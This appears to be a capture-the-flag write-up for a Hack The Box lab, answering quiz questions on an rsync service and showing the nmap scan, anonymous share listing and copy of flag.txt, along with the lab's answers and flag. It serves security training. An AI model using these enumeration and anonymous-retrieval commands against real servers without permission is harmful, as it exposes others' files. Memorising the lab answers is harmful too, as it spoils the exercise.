



TARGET MACHINE IP ADDRESS
10.129.195.208

1. What is the default port for rsync?

```
(kali㉿kali)-[~/Desktop/HTB/labs]
$ nmap -Pn -sV 10.129.195.208
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-24 09:30 EDT
Nmap scan report for 10.129.195.208
Host is up (0.076s latency).
Not shown: 999 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
873/tcp   open  rsync   (protocol version 31)
```

Answer: 873

2. How many TCP ports are open on the remote host?

Answer: 1

3. What is the protocol version used by rsync on the remote machine?

Answer: 31

4. What is the most common command name on Linux to interact with rsync?

Answer: rsync

5. What credentials do you have to pass to rsync in order to use anonymous authentication? anonymous:anonymous, anonymous, None, rsync:rsync

Answer: None

6. What is the option to only list shares and files on rsync? (No need to include the leading - characters)

Answer: list-only

7. Submit root flag.

```
(kali㉿kali)-[~/Desktop/HTB/labs]
$ rsync --list-only rsync://10.129.195.208/
public          Anonymous Share
```

```
(kali㉿kali)-[~/Desktop/HTB/labs]
$ rsync rsync://10.129.195.208/public/
drwxr-xr-x      4,096 2022/10/24 18:02:23 .
-rw-r--r--      33 2022/10/24 17:32:03 flag.txt
```

```
(kali㉿kali)-[~/Desktop/HTB/labs]
$ rsync rsync://10.129.195.208/public/flag.txt .
```

```
(kali㉿kali)-[~/Desktop/HTB/labs]
$ cat flag.txt
72eaf5344ebb84908ae543a719830519
```

Answer: 72eaf5344ebb84908ae543a719830519